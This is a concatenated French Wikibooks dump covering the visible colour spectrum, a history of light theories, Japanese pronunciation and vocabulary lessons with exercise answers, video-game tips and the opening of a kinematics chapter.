de la lumière et des perceptions associées est continue mais il est nécessaire pour la vie pratique d'attribuer des noms aux couleurs et donc de définir les zones correspondantes dans le spectre. Naturellement ce découpage est parfaitement arbitraire et le nombre de zones varie d'ailleurs selon les auteurs, en particulier selon que l'on introduit ou non le bleu-vert et surtout l'indigo, dont l'existence même a fait couler beaucoup de salive et même d'encre. La nécessité de disposer d'outils de description plus précis et plus fiables se fait sentir dans de nombreuses activités, comme par exemple la mycologie. Lorsque l'excellent Henri Romagnesi parle d'un champignon dont la chair est « épaisse, roussâtre un peu incarnate » ou d'un autre dont les lamelles ont « une couleur blanc crème, puis crème ochracé », il faut que cela « parle » aux amateurs de champignons. {| border="1" cellpadding="5" cellspacing="0" align="center" |+ '''Spectre coloré''' ! style="background: #efefef;" | Couleur ! style="background: #efefef;" | Longueur d'onde ! style="background: #efefef;" | Fréquence |- | colspan="3" align="center"| [[w:Rayonnement infrarouge|Rayonnement infrarouge]] |----- | [[w:Rouge|Rouge]] |! style="background: #df0000;" | 625–740 nm |! style="background: #df0000;" | 480–405 THz |----- | [[w:Orangé|Orangé]] |! style="background: #ff8000;" | 590–625 nm |! style="background: #ff8000;" | 510–480 THz |----- | [[w:Jaune|Jaune]] |! style="background: #ffff00;" | 565–590 nm |! style="background: #ffff00;" | 530–510 THz |----- | [[w:Vert|Vert]] |! style="background: #00ff00;" | 520–565 nm |! style="background: #00ff00;" | 580–530 THz |----- | [[w:Bleu-vert|Bleu-vert]]<!-- laux propono de Pokrovskij --> |! style="background: #00d4d4;" | 500–520 nm |! style="background: #00d4d4;" | 600–580 THz |----- | [[w:Bleu|Bleu]] |! style="background: #0000ff; color: #ffffff;" | 450–500 nm |! style="background: #0000ff; color: #ffffff;" | 670–600 THz |----- | [[w:Indigo|Indigo]] |! style="background: #0000af; color: #ffffff;" | 430–450 nm |! style="background: #0000af; color: #ffffff;" | 700–670 THz |----- | [[w:Violet|Violet]] |! style="background: #50007f; color: #ffffff;" | 380–430 nm |! style="background: #50007f; color: #ffffff;" | 790–700 THz |----- | colspan="3" align="center"| [[w:Rayonnement ultraviolet|Rayonnement ultraviolet]] |----- |} == Un spectre très élaboré == Le spectre ci-dessous a été engendré en tenant compte de la sensibilité des cônes de la rétine humaine et des caractéristiques d'affichage des écrans informatiques. La description détaillée du processus de création est décrite dans la wikipédia anglaise (cliquer sur la bande colorée et suivre le lien ''Detailed explanation''). Il s'agit ici d'un spectre « plat », ou '''équiénergétique''', correspondant à une puissance rayonnée uniformément répartie dans toute l'intervalle des longueurs d'onde. Le fond gris et l'entourage sombre sont là pour améliorer la perception des couleurs les plus sombres. {| width=100% |- |align="center" valign="center" height=600 bgcolor=#2F2F2F|[[Image:Spectrum441pxWithnm.png]] |- |} Photographie - 04 - Histoire des théories de la lumière 5134 45011 2006-06-18T10:18:53Z 81.101.141.187 /* Théories de la Renaissance et de l'époque classique */ {{Photographie}} {{Photo_04}} C'est naturellement à partir de la lumière visible que l'humanité fit connaissance avec les radiations électromagnétiques. Longtemps, la lumière et le son furent étu­diés ensemble. L'association de l'éclair et du tonnerre a sûrement frappé les esprits. Le fait que le son nécessite un milieu matériel pour se propager, contrairement à la lumière, va d'ailleurs lancer bien des physiciens sur la fausse piste de l'éther. == Conceptions antiques == Très tôt, la lumière est conçue comme un flux de projectiles émis par les corps lumineux selon Démocrite ou par l'œil selon Euclide. Platon imagine même qu'elle naît de la rencontre des particules émises par la source lumineuse et par l'œil. Pour Aristote et d'autres savants, la lumière ne peut pas se déplacer dans le vide. Ptolémée (90, 168) établit empiriquement les lois de la réfraction, phénomène qui fait par exemple qu'un bâton que l'on trempe obliquement dans l'eau paraît brisé. [[Image:PLATON Enseigne.jpg|thumb|300px|right|Platon et ses élèves<br>(Mosaïque de Pompei)]] <gallery> Image:Demokrit.jpeg|[[w:fr:Démocrite d'Abdère|Démocrite]]<br>(-460 -370) Image:Plato.jpg|[[w:fr:Platon|Platon]]<br>(-427 - 348) </gallery> <gallery> Image:Aristoteles Louvre.jpg|[[w:fr:Aristote|Aristote]]<br>(-384 -322) Image:Euklid2.jpg|[[w:fr:Euclide (mathématicien)|Euclide]]<br>( vers-325 - vers -265) Image:Ptolemee.jpg|[[w:fr:Ptolémée|Ptolémée]]<br>(90 - 168) </gallery> == Conceptions médiévales == Le savant égyptien Ibn-Al-Haytam, dit Alhazen (965, 1039) étudie la vision et développe une véritable théorie cor­pusculaire de la lumière, émise par le corps lumineux indépendamment de l'observateur. Les applications suivent et dès le XIe siècle, on fabrique en Egypte des lorgnons pour les presbytes ! La nature ondulatoire de la lumière semble avoir été affirmée pour la première fois par les moines anglais Grosseteste et Bacon. <gallery> Image:Robert Grosseteste.jpeg|[[w:fr:Robert Grossetete|Robert Grossetete]]<br>(1170-1253) Image:Roger Bacon.jpeg|[[w:fr:Roger Bacon|Roger Bacon]]<br>(1214 - 1294) </gallery> == Théories de la Renaissance et de l'époque classique == Johannes Kepler établit clairement le principe de la propagation de la lumière depuis la source lumineuse vers l'objet, à une vitesse qu'il pense infinie. Galilée décrit des méthodes de mesure de la vitesse de la lumière, mais ne parvient pas à les mettre en œuvre. <gallery> Image:Johannes Kepler.jpeg|[[w:fr:Johannes Kepler|Johannes Kepler]]<br>(1571 - 1630) Image:Galileo.arp.300pix.jpg|[[w:fr:Galileo Galilei|Galileo Galilei]]<br>(1564 - 1642) </gallery> Willebrord Snell formule mathématiquement les lois de la réfraction et Descartes les fait connaître. Fermat les retrouve grâce au principe du moindre temps. Les théories de Descartes, très embrouillées, font pourtant autorité. Il faudra du temps pour que les physiciens s'en débarrassent ! <gallery> Image:Willebrord Snell.jpg|[[w:fr:Willebrord Snell|Willebrord Snell]]<br>(1580 - 1626) Image:Descartes.jpg|[[w:fr:René Descartes|René Descartes]]<br>(1596 - 1650) Image:Pierre de Fermat.jpg|[[w:fr:Pierre de Fermat|Pierre de Fermat]]<br>(1601 - 1665) </gallery> Grimaldi et Malebranche croient en la nature ondulatoire de la lumière, après avoir étudié les franges de diffraction et la décomposition de la lumière blanche. Huygens imagine l'univers empli de particules qui se transmettent de proche en proche leurs mouvements oscillatoires. En vibrant ensemble, elles créent des ondelettes dont la réunion constitue l'onde lumineuse, à la manière des rides qui se propagent à la surface de l'eau. Huygens explique ainsi la réflexion, la réfraction et bien d'autres phénomènes. Il envisage aussi l'existence de particules et certaines de ses intuitions seront démontrées beaucoup plus tard. <gallery> Image:Francescomaria Grimaldi.jpg|[[w:fr:Francesco Maria Grimaldi|Francesco Maria Grimaldi]]<br>(1618 - 1663) Image:Nicolas Malebranche.jpg|[[w:fr:Nicolas Malebranche|Nicolas Malebranche]]<br>(1638 - 1715) Image:Christiaan-huygens3.jpg|[[w:fr:Christiaan Huygens|Christiaan Huygens]] <br>(1629 - 1695) Image:Isaac Newton.png|[[w:fr:Isaac Newton|Isaac Newton]]<br>(1642 - 1727) </gallery> Les travaux expérimentaux de Newton sont très importants. On lui doit le premier télescope. Cependant, le génial auteur de la théorie de la gravitation, trop attaché aux aspects corpusculaires, n'arrive pas à établir une théorie satisfaisante de la lumière. Sa conception très compliquée prévaudra tout de même pendant un siècle, malgré les critiques de quelques détracteurs (Hooke, Euler, ...). Rømer mesure la vitesse de la lumière en 1675, grâce à l'observation des satellites de Jupiter. Bradley fait une seconde mesure en 1728. La théorie ondulatoire revient, un siècle plus tard, grâce aux mathématiciens qui créent les outils dont Huygens aurait eu besoin. Le médecin anglais Young, esprit universel par excellence (il fut aussi un égyptologue renommé), réalise des expériences décisives. L'idée lui vient que la vibration lumineuse est transversale et pas longitudinale. <gallery> Image:Ole Rømer.jpg|[[w:fr:Ole Romer|Ole Rømer]]<br>(1644 - 1710) Image:James Bradley.jpg|[[w:fr:James Bradley|James Bradley]]<br>(1693 - 1762) Image:Thomas Young (scientist).jpg|[[w:fr:Thomas Young|Thomas Young]]<br>(1773 - 1829) </gallery> == Naissance des théories modernes == Fresnel, pour qui "Newton radote", développe la théorie du vecteur lumineux et de la lumière polarisée. De nouvelles sources lumineuses apparaissent : l'arc électrique (Davy), la lampe à incandescence (Moylens puis Edison), tube à décharge (Geissler). Les premiers spécialistes de la spectroscopie sont Bunsen et Kirchhoff. Les travaux de Maxwell établissent de manière apparemment définitive que la lumière est une vibration électromagnétique transversale. <gallery> Image:Augustin Fresnel.jpg|[[w:fr:Augustin Fresnel|Augustin Jean Fresnel]]<br>(1788 - 1827) Image:Humphrydavy.jpg|[[w:fr:Humphry Davy|Humphry Davy]]<br>(1778 - 1829) Image:Thomas Edison, 1878.jpg|[[w:fr:Thomas Edison|Thomas Alva Edison]] en 1878 (1847 - 1931) Image:Heinrich Geissler.jpg|[[w:fr:Heinrich Geissler|Heinrich Geissler]]<br>(1814 - 1879) Image:Robert Bunsen.jpg|[[w:fr:Robert Bunsen|Robert Bunsen]]<br>(1811–1899) Image:Gustav Robert Kirchhoff.JPG|[[w:fr:Gustav Robert Kirchhoff|Gustav Robert Kirchhoff]]<br>(1825, 1887) Image:James Clerk Maxwell.jpg|[[w:fr:James Clerk Maxwell|James Clerk Maxwell]]<br>(1831, 1879) </gallery> == Les conceptions actuelles == Planck trouve en 1900 la loi qui décrit le rayonnement lumineux thermique et s'interroge sur le caractère discontinu de certains phénomènes. On considère habituellement que pour obtenir cette loi, Planck a dû introduire une hypothèse selon laquelle l'énergie rayonnée ne varie pas de façon continue, mais par multiples entiers de quantités d'énergie élémentaires ou '''quanta'''. En 1905, Einstein, reprenant une idée de Newton, imagine une particule élémentaire de lumière, le '''photon''', doté d'une énergie cinétique et d'une quantité de mouvement. <gallery> Image:Max planck.jpg|[[w:fr:Max Planck|Max Planck]]<br>(1858 - 1947) Image:Albert Einstein photo 1921.jpg|[[w:fr:Albert Einstein|Albert Einstein]] en 1921<br>(1879 - 1955) Image:Max-Planck-und-Albert-Einstein.jpg|Max Planck et Albert Einstein Image:Heinrich Hertz.jpg|[[w:fr:Heinrich Rudolph Hertz|Heinrich Rudolf Hertz]]<br>(1857 - 1894) </gallery> La théorie vibratoire de la lumière, développée par Young et Fresnel puis étendue à toutes les autres radiations par Maxwell et Hertz, explique les phénomènes liés à la propagation des ondes (interférences, ondes stationnaires, etc.) mais l'effet photoélectrique ou l'émission des rayons X ne peuvent être compris qu'en admettant l'existence de « grains de lumière » distincts ou photons. Selon les idées actuelles, les aspects ondulatoire et corpusculaire ne sont pas contradictoires mais complémentaires et intégrés dans la théorie de la mécanique ondulatoire de Louis de Broglie et Schrödinger. <gallery> Image:Louis de Broglie.jpg|[[w:fr:Louis de Broglie|Louis de Broglie]]<br>(1892 - 1987) Image:Erwin Schrodinger.jpg|[[w:fr:Erwin Schrödinger|Erwin Schrödinger]]<br>(1887 - 1961) Image:Feynman and Oppenheimer at Los Alamos.jpg|[[w:fr:Richard Feynman|Richard Feynman]] (centre) et Robert Oppenheimer (de dos) (1918 - 1988) </gallery> Richard Feynman, dans ''Lumière et matière'', résume la situation : ''Aujourd'hui, nous savons que la lumière est faite de particules parce que nous possédons des instruments extrêmement sensibles qui font « clic » à chaque fois qu'ils reçoivent de la lumière, et ce, même si l'intensité de la lumière est abaissée considérablement : les « clics » sont les mêmes, seul leur nombre diminue.'' Il évoque [...] ''une période où l'intelligence des physiciens fut mise à rude épreuve : la lumière, disait-on, doit être considérée soit comme une onde, soit comme un ensemble de particules selon les situations expérimentales. C'est ce qu'on a appelé la «dualité onde-corpuscule». [...] à cette époque la lumière était une onde les lundis, mercredis et vendredis, et un ensemble de particules les mardis, jeudis et samedis. Restait le dimanche pour réfléchir à la question.'' Selon la théorie des '''quanta''', le '''photon''' est considéré comme une particule pratiquement sans masse, animée de la vitesse c dans le vide et porteur d'une quantité élémentaire d'énergie appelée '''quantum'''. Ce dernier est proportionnel à la fréquence de la radiation : {| align="center" border="1" cellpadding="5" cellspacing="0" |- |<math>q = h \nu \,</math> |- |} [[Image:Ondes.png|250px|right]] h est la '''constante de Planck''', qui vaut 6,626176 10<sup>–34</sup> joule.seconde. Par convention, c'est la quantité <math>h \nu \,</math> que l'on appelle photon. L'aspect corpusculaire des radiations élec­tromagnétiques prend le pas sur l'aspect ondulatoire au fur et à mesure que la longueur d'onde diminue, c'est-à-dire lorsque l'énergie des photons augmente. Les photons « violets », dont la longueur d'onde est à peu près la moitié de celle des photons « rouges » transportent donc environ deux fois plus d'énergie. Regroupement wikireaders 5139 20367 2005-08-31T20:52:57Z 82.224.88.52 des salons littéraires aux salons de bridge ==Prologue== En vue d'une publication papier, il semble qu'il soit temps de regrouper, en une seule entrée, les différents wikireaders présents dans wikibooks mais aussi ailleurs en langue française. Attention, il ne s'agit pas d'une fusion de texte brut, qui serait encore + indigeste, mais d'une énumération de leurs différents liens sur les différents wikis francophones, un peu comme autant de chapitres pour un livre classique, afin que l'ensemble soit mieux accessible. == Amérique du Sud == .../... == Esperanto (textes en français) == .../... == Des salons littéraires aux salons de bridge == .../... == Divers == Japonais:Prononciation 5140 45366 2006-06-22T08:20:37Z 86.210.109.234 /* Prononciation du japonais */ Retour à la [[Table des matières (Japonais)|table des matières]]. ==Prononciation du japonais== Le japonais, contrairement au chinois au vietnamien et au coréen, ne pose pas de gros problèmes de prononciation. Il y a néanmoins quelques astuces à connaître, car une fois comprises elles vous aiderons à lire correctement les transcriptions en romaji (caractères latins) : *'''Les consonnes se prononcent en général comme en français :''' **Le '''g''' se prononce comme dans '''g'''''uitare''. **Le '''sh''' se prononce '''ch'''. **Le '''ch''' se prononce '''tch'''. **Le '''r''' se prononce '''l''' comme dans '''l'''''angue''. **Le '''s''' se prononce comme dans '''s'''aucisson''. **Une consonne doublée se prononce comme si vous essayiez de prononcer les deux d'un coup. (ex : ''sekken'', se prononce '''se’ken''') **le '''n''' final ou devant une autre consonne est articulé '''n''' (a priori, il n'y a pas de nazales en japonais...) et il se prononce '''m''' devant un '''m''', un '''p''' ou un '''b'''. *Le '''h''' est toujours aspiré. Ceci est généralement LE piège dans lequel tombent les francophones désireux d'apprendre le japonais, et la principale source d'incompréhension et de quiproquo avec les Japonais. Faites donc attention à bien le prononcer. *Le '''j''' se prononce '''dj'''. *Le '''z''' se prononce '''dz'''. **'''Les voyelles écrites ensembles se prononcent séparément :''' **'''ai''' se prononce donc '''a-i'''. **Le '''e''' se prononce '''é'''. **Deux voyelles identiques à la suite, aussi notées comme une voyelle avec un accent circonflexe ou une barre, se prononcent comme une seule voyelle deux fois plus longue (ex : ''kaasan'', ''kâsan'' ou ''kāsan'' : se lit ''k'''''aa'''''ssan'' avec un '''a''' long). Il faut noter que : **Le '''u''' peut servir à doubler la voyelle '''o''' et '''ou''' se prononce donc '''oo'''. **Le '''i''' peut servir à doubler la voyelle '''e''' et '''ei''' se prononce donc '''éé'''. Dans le cas particulier de l'écriture en katakana, qui utilise le tiret pour doubler les voyelles, '''ei''' est prononcé '''é-i'''. *Le '''u''' se prononce en général '''ou''' (comme dans ''j'''''ou'''''e''), parfois '''u''' (comme dans ''c'''''u'''''lture'') mais plus généralement il s'agit, en japonais, de l'équivalent de notre voyelle muette ''e''. Vous serez donc plus proche de la prononciation exacte en disant une voyelle entre '''eu''' et '''ou'''. En conséquence, toutes les formes verbales se terminant par un '''u''' (ex : ''kaimasu'') ne réarticulent pas la voyelle finale (ex : '''kaimass’''') *Le hiragana ''hu'' en général transcrit ''fu'' se prononce en effet plutôt comme '''fou'''. ==Notes== Si vous lisez des méthodes de japonais destinés aux anglophones, vous pourrez constater que parfois un chapitre entier est consacré à l'étude des tons. Nous n'en ferons rien pour les raisons suivantes : *un Japonais vous comprendra parfaitement si votre prononciation est correcte mais atonale, car en japonais les tons n'indiquent pas le sens des mots. (contrairement au chinois, au vietnamien, au coréen, etc.) *Les tons varient d'une région japonaise à l'autre. *Si vous êtes plus curieux, je ne peux que vous recommander la lecture de cet [http://ist-socrates.berkeley.edu/~hasegawa/Accent/accent.html article] par Yoko Hasegawa, en anglais. Et toujours en anglais, vous pouvez être intéressé par cet [http://everything2.com/index.pl?node_id=1763135 article]. ==Quelques exemples== Pour vous aidez voici quelques exemples de prononciations : * Noms de villes: **[[Media:Ja-Honshu.ogg|Honshu]] **[[Media:Ja-Kyoto.ogg|Kyoto]] **[[Media:Ja-Kyushu.ogg|Kyushu]] **[[Media:Ja-Osaka.ogg|Osaka]] **[[Media:Ja-Sapporo.ogg|Sapporo]] **[[Media:Ja-Shikoku.ogg|Shikoku]] **[[Media:Ja-Tokyo.ogg|Tokyo]] * Autres: **[[Media:Ja-daimyo.ogg|daimyo]] **[[Media:Ja-hokkaido.ogg|hokkaido]] **[[Media:Ja-kanji.ogg|kanji]] **[[Media:Ja-nihongo.ogg|nihongo]] **[[Media:Ja-nippon_nihonkoku.ogg|nippon nihonkoku]] **[[Media:Ja-oda nobunaga.ogg|oda nobunaga]] **[[Media:Ja-tojo hideki.ogg|tojo hideki]] **[[Media:Ja-watashi_no_neko_o_tabemashita.ogg|watashi no neko o tabemashita]] {{Méthode_de_Japonais}} [[Catégorie:Méthode de Japonais]] Les jeux d'horreur (Comment jouer aux jeux vidéo ?) 5141 43642 2006-05-31T15:23:21Z 83.78.97.207 <br> <h1>'''2.3 Les jeux d'horreur '''</h1> <br> Les jeux d'horreur ont pour but de faire peur au joueur grâce principalement à une ambiance qu'il ne faut surtout pas briser sinon le jeu perd tout son sens. Pour vivre pleinement ces types de jeux, il faut que les conditions réelles soient en accord avec les conditions du jeux. Il faut y jouer la nuit, seul, avec une température plutôt basse (18 degré) avec une fenêtre ouverte pour que les bruits de la nuit (vent,pluie, animaux ...) contribuent à l'ambiance. Cependant, il ne faut pas y jouer trop tard ou trop longtemps pour éviter que la fatigue empêche de bien comprendre l'action dans le jeu. [[Table_des_matières_(Comment_jouer_aux_jeux_vidéo_%3F)|Retour à la table des matières]] Les jeux multijoueurs (Comment jouer aux jeux vidéo ?) 5142 36157 2006-03-05T20:43:49Z 172.210.87.57 <br> <h1>'''2.2 Les jeux multijoueurs '''</h1> <br> Contrairement aux autres types de jeux, les jeux multijoueurs ne demandent pas de conditions très spécifiques. Il faut juste penser à avoir une pièce assez grande pour accueillir tous les joueurs, penser à avoir de la nourriture et des boissons à portée de main. Les autres éléments ne sont pas importants.Ce n'est pas le jeu en lui même qui apporte l'amusement mais la lutte avec les autres joueurs. [[Table_des_matières_(Comment_jouer_aux_jeux_vidéo_%3F)|Retour a la table des matières]] Structure de la guitare 5147 20413 2005-09-01T18:26:35Z 84.4.25.235 *Il existe deux types de structures pour la fabrication d'une guitare. Cependant il existe plusieurs variantes. Nous ne parlerons ici que de la guitare acoustique et de la guitare électrique. * [[Guitare acoustique]] * [[Guitare électrique]] Les jeux d'aventure (Comment jouer aux jeux vidéo ?) 5149 24087 2005-10-23T17:05:39Z 81.57.178.60 <br> <h1>'''2.1 Les jeux d'aventure '''</h1> <br> Les jeux d'aventure peuvent être divisés en deux parties: la partie d'exploration (trouver les donjons, les objets ...) et la partie d'action-narration (combats contre les boss, cinématiques ...). Pour la partie d'exploration (la plus longue) les conditions n'ont pas besoin d'être parfaites, un peu de nourriture, de boissons et c'est parti; du bruit ou de la chaleur ne nuisent pas trop au plaisir. Mais attention de ne pas y jouer trop longtemps sous peine d'overdose. La partie action-narration, mérite de meilleurs conditions, un silence parfait, du temps... [[Table_des_matières_(Comment_jouer_aux_jeux_vidéo_%3F)|Retour a la table des matières]] Japonais:Leçon2:Correction 5150 39792 2006-04-07T11:50:34Z 86.195.203.60 /* Exercice n° 1 */ [[Japonais:Leçon2|Aller à la leçon 2]] ==Exercice n° 1== Traduire en Francais : * Inu deshita : C'etait un chien. * Fransujin desu : C'est un français. * Yamada-san(Mr/Madame Yamada) desu : c'est Mr/Madame Yamada. * Tanaka-san (Mr/Madame Tanaka) ja arimasen: ce n'est pas Mr/Madame Tanaka. * Oishi(délicieux) desu ne ? : C'est délicieux n'est-ce pas ? Traduire en japonais : * Je ne suis pas Japonais: Watashi wa nihonjin ja arimasen. * C'était pas un chat : Neko ja arimasen deshita. * C'est intéressant(Omoshiroi) n'est ce pas ? : omoshiroi desu ne. * Êtes-vous Japonais ?: Anata wa nihonjin desu ka ? {{Méthode_de_Japonais}} [[Catégorie:Exercices (Japonais)]] Japonais:Leçon3:Correction 5151 25242 2005-11-08T20:19:34Z 81.51.191.27 /* Exercice n° 1 */ Retour à la [[Table des matières (Japonais)|table des matières]]. [[Japonais:Leçon3|Aller à la leçon 3]] ==Exercice n° 1== Traduire en Francais : *watashi wa nihongo ga suki: j'aime la langue japonaise. *miyuki wa anata no hon ga daisuki: Miyuki adore ton livre. Traduire en japonais : *Il aime l'amérique: kare wa amerika ga suki. *Elle déteste le français: konojo wa furansugo ga daikirai. {{Méthode_de_Japonais}} [[Catégorie:Exercices (Japonais)]] Japonais:Leçon4:Correction 5152 42114 2006-05-12T14:39:14Z 83.141.128.13 /* Exercice n° 1 */ Retour à la [[Table des matières (Japonais)|table des matières]]. [[Japonais:Leçon4|Aller à la leçon 4]] ==Exercice n° 1== Traduire en Francais : *nihonjin ga imasu: il y a un japonais. *sushi ga arimasen: il n'y a pas de sushi. *anata no hon arimashita: il y avait ton livre. Traduire en japonais : *Il y a un américain: amerikajin ga imasu. *Il n'y a pas d'eau: mizu ga arimasen. *Y a t-il mon chien?: watashi no inu ga imasu ka. ==Exercice n° 2== Traduire en Francais : *taberutsumori: j'ai l'intention de manger. *nomutsumori: j'ai 'intention de boire. Traduire en japonais : *Il a l'intention de lire: yomutsumori. *J'ai l'intention de travailler (hataraku= travailler): hatarakutsumori. ==Exercice n° 3== *Momoko:Sumimasen: excusez-moi ! *Yoshi san: Konichiwa: bonjour *Momoko: Koko mori ga arimasu ka: il y a une forêt içi ? *Yoshi san: Hai. Ashita mori ni ikutsumori: Oui. demain j'ai l'intention d'y aller. {{Méthode_de_Japonais}} [[Catégorie:Exercices (Japonais)]] Modèle:Glossaires de Japonais 5153 22473 2005-10-01T19:30:06Z Duarna 465 +jeux vidéo et region <br clear="all" /> {| align="center" cellspacing="0" style="margin-top: 2em; width: 70%; background-color:#ffffff; padding:0px; padding-bottom:0px; border:1px solid #000000; line-height: 1.5em;{{{css}}}" |- style="background:#ffffff" | align="center"| '''<big>Le glossaire<big/>'''<hr> [[Japonais:Vocabulaire Noms|Noms]] <div style="float:left; width:50%;"> **[[Anatomie (Japonais)|Anatomie]] **[[Japonais:Vocabulaire Animaux|Animaux]] **[[Japonais:Vocabulaire Astronomie|Astronomie]] **[[Japonais:Vocabulaire Commerce|Commerce]] **[[Japonais:Vocabulaire Direction|Direction]] **[[Japonais:Famille|Famille]] **[[Japonais:Vocabulaire Glaciologie|Glaciologie]] **[[Japonais:Vocabulaire Jeux vidéo|Jeux vidéo]] **[[Jours (Japonais)|Jours]] </div><div style="float:right; width:50%;"> **[[Japonais:Vocabulaire Justice|Justice]] **[[Japonais:Vocabulaire Nombres|Nombres]] **[[Japonais:Vocabulaire Nourriture|Nourriture]] **[[Japonais:Vocabulaire Mois|Mois]] **[[Japonais:Vocabulaire Musique|Musique]] **[[Japonais:Vocabulaire Pays|Pays]] **[[Japonais:Vocabulaire Saisons|Saisons]] **[[Japonais:Vocabulaire Vêtement|Vêtement]] </div> <br clear=all /><hr> <div style="float:left; width:50%;"> **[[Japonais:Région|Région]] **[[Verbes (japonais)|Verbes]] **[[Japonais:Vocabulaire Adjectifs|Adjectifs]] **[[Couleurs (Japonais)|Couleurs]] **[[Japonais:Vocabulaire Onomatopées|Onomatopées]] </div><div style="float:right; width:50%;"> **[[Japonais:Vocabulaire Mots interrogatifs|Mots interrogatifs]] **[[Japonais:vocabulaire Yon Kyuu Kanji|四級 Kanji]] **[[Expressions courantes (japonais)|Expressions courantes]] **[[Japonais:Vocabulaire Expressions|Expressions et dictons]] <br clear=all /> Japonais:Kana 5154 20470 2005-09-02T19:26:06Z Duarna 465 création Les '''Kana''' regroupent les deux syllabaires japonais sous le même terme: *les [[Japonais:Katakana|Katakana]]. *les [[Japonais:Hiragana|Hiragana]]. Cela ne pose pas de problème car un mots ne s'écrit jamais sous les deux forme (Katakana et Hiragana). [[Catégorie:Japonais]] Japonais:Vocabulaire Direction 5155 20472 2005-09-02T19:47:32Z Duarna 465 création Retour à la [[Table des matières (Japonais)|table des matières]]. {| border="1" cellspacing="0" cellpadding="6" ! Français ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Le nord | <big>[[wiktionary:fr:北|北]]</big> | きた ou ほく | kita ou hoku |- | L'est | <big>[[wiktionary:fr:東|東]]</big> | ひがし ou あずま | higashi ou azuma |- | Le sud | <big>[[wiktionary:fr:南|南]]</big> | みなみ ou なん | minami ou nan |- | L'ouest | <big>[[wiktionary:fr:西|西]]</big> | にし | nishi |} ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] [[en:Japanese:Vocabulary:Direction]] Japonais:Vocabulaire Commerce 5156 26558 2005-12-07T00:41:25Z 08pb80 897 ortho Retour à la [[Table des matières (Japonais)|table des matières]]. {| border="1" cellspacing="0" cellpadding="6" ! Français ! [[Japonais:Kanji|Kanji]] ! [[Japonais:Kana|Kana]] ! [[Japonais:Romaji|Rōmaji]] |- | Commerce | &nbsp; | [http://ja.wikipedia.org/wiki/%E3%83%93%E3%82%B8%E3%83%8D%E3%82%B9 ビジネス] | bijinesu |- | Économie | [http://ja.wikipedia.org/wiki/%E7%B5%8C%E6%B8%88 経済] | けいざい | keizai |- | Microéconomie | [http://ja.wikipedia.org/wiki/%E3%83%9F%E3%82%AF%E3%83%AD%E7%B5%8C%E6%B8%88%E5%AD%A6 ミクロ経済学] | ミクロけいざいがく | mikurokeizaigaku |- | Macroéconomie | [http://ja.wikipedia.org/wiki/%E3%83%9E%E3%82%AF%E3%83%AD%E7%B5%8C%E6%B8%88%E5%AD%A6 マクロ経済学] | マクロけいざいがく | makurokeizaigaku |- | Chomage | [http://ja.wikipedia.org/wiki/%E5%A4%B1%E6%A5%AD 失業] | しつぎょう | shitsugyō |- | Finance | [http://ja.wikipedia.org/wiki/%E9%87%91%E8%9E%8D 金融] | きんゆう | kinyuu |- | Accompte | [http://ja.wikipedia.org/wiki/%E4%BC%9A%E8%A8%88 会計] | かいけい | kaikei |- | Stock d'exchange | [http://ja.wikipedia.org/wiki/%E8%A8%BC%E5%88%B8%E5%8F%96%E5%BC%95%E6%89%80 証券取引所] | しょうけんとりひきじょ | shōkentorikijo |- | Capital | [http://ja.wikipedia.org/wiki/%E8%B3%87%E6%9C%AC 資本] | しほん | shihon |- | Investissement | [http://ja.wikipedia.org/wiki/%E6%8A%95%E8%B3%87 投資] | とうし | tōshi |- | Actionnaire | [http://ja.wikipedia.org/wiki/%E6%A0%AA%E4%B8%BB 株主] | かぶぬし | kabuneshi |} ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] [[en:Japanese:Vocabulary:Business]] Mouvement linéaire 5157 40033 2006-04-12T09:47:57Z Npettiaux 37 /* Exemple 1 */ \; = espace fine entre unités et valeurs == Introduction == [[Catégorie:Physique]] La cinématique est la science de la description du mouvement. L'origine du mot, kinêma, le mouvement, est la même que celle du mot cinéma. Il s'agit de rendre compte des différentes manières de décrire précisément le mouvement d'un corps dans l'espace. Cette description n'implique pas la détermination des causes du mouvement. Celles-ci seront introduites dans la [[dynamique]]. == Position == === Dimensions === ==== Une dimension ==== On dira du mouvement d'un système qu'il est '''unidimensionnel''' ou à une dimension quand il se fait selon une ligne, en particulier pour nous et par facilité, selon une droite. ==== Deux dimensions ==== On dira du mouvement d'un système qu'il est '''bidimensionnel''' ou à deux dimensions quand il se fait dans un plan. ==== Trois dimensions ==== On dira du mouvement d'un système qu'il est '''tridimensionnel''' ou à trois dimensions quand il se fait dans l'espace. === Système de référence ou d'axes === La description de tout mouvement doit être faite '''par rapport''' à des références bien connues et explicitées. Par exemple, on s'éloigne de chez soi, ce qui définit le point de repère initial. Le ou les axes qui constituent une référence adéquate pour préciser convenablement et complétement le mouvement d'un objet représentent un [[système de référence]]. Il est lui même constitué d'un ou plusieurs axes gradués et '''perpendiculaires''' (synonyme: orthogonaux). Ceci est une facilité. Les axes doivent simplement ne pas être parallèles et se croiser mais en pratique, il est plus simple qu'ils soient orthogonaux. Nous allons ici, pour la facilité encore, nous limiter aux mouvements unidimensionnels. La généralisation à deux dimensions est assez simple et naturelle pour des systèmes d'axes et de coordonnées cartésiens. Cette généralisation est technique et complique les calculs mais ne change pas les principes. Nous ne verrons pas d'autres types de système d'axes. En revanche vous trouverez en annexe B deux autres systèmes de coordonnées : circulaires (bidimensionnel) et sphérique (tridimensionnel). Ils sont assez simples pour être compris sans difficultés. Un système d'axes est donc, à une dimension, une '''ligne orientée''' (munie d'un sens), c'est-à-dire une flèche, munie d'une origine notée O, d'une unité de longueur notée 1 et de graduations multiples de cette unité. On la représente comme indiqué à la figure 2.1 et on la nomme généralement x. [[Image:Axe_x.png|center|frame|Figure 2.1 - Un système d'axe à une dimension]] === Position === La position d'un objet est tout simplement le point coïncidant sur l'axe avec le lieu où se trouve l'objet. À une dimension, elle est souvent notée <math>x</math> et prend pour valeur celle donnée par le choix de l'origine et de l'unité. Exemple à la figure 2.2. [[Image:Axe_x_pointé.png|center|frame|Figure 2.2 - La position d'un objet]] On écrira alors dans ce cas particulier : <math>x = 4 cm</math>. Bien entendu, si l'objet se déplace dans un plan, la position devient le vecteur position <math>\vec r</math>, repéré par deux coordonnées. Par exemple, on pourrait avoir : <center><math>\vec r={2 \choose 3}</math> cm</center> === 